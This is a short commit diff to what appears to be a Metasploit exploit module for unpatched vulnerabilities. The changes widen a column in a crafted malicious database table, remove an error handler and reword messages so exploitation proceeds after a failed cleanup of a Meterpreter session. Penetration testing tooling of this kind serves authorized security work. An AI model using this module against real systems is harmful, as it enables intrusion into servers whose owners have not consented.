@@ -25,7 +25,7 @@ def initialize(info = {})
2525 These vulnerabilities remain unpatched.
2626 } ,
2727 'Author' => [
28- 'chebuya' , # Discoverer and PoC
28+ 'chebuya' , # Discoverer and PoC
2929 'Valentin Lobstein' # Metasploit module
3030 ] ,
3131 'License' => MSF_LICENSE ,
@@ -266,7 +266,7 @@ def generate_malicious_db
266266 mem_db . execute <<-SQL
267267 CREATE TABLE exfiltrated_file (
268268 id INTEGER NOT NULL,
269- filename VARCHAR(34 ) NOT NULL,
269+ filename VARCHAR(4096 ) NOT NULL,
270270 session VARCHAR(15) NOT NULL,
271271 module VARCHAR(15) NOT NULL,
272272 created DATETIME NOT NULL,
@@ -354,17 +354,15 @@ def on_new_session(session)
354354 remote_file . syswrite ( binary_content )
355355 remote_file . close
356356 successful_restore = true
357- rescue ::StandardError => e
358- print_error ( "Failed to restore the database: #{ e . class } #{ e } " )
359357 end
360358
361359 if successful_restore
362360 print_good ( 'Database has been successfully restored to its clean state.' )
363361 else
364- print_error ( 'Failed to restore the database on all attempted paths.' )
362+ print_error ( 'Failed to restore the database on all attempted paths, but proceeding with the exploitation .' )
365363 end
366364 else
367- print_error ( 'This is not a Meterpreter session. Cannot proceed with database reset.' )
365+ print_error ( 'This is not a Meterpreter session. Cannot proceed with database reset, but exploitation continues .' )
368366 end
369367 end
370368
0 commit comments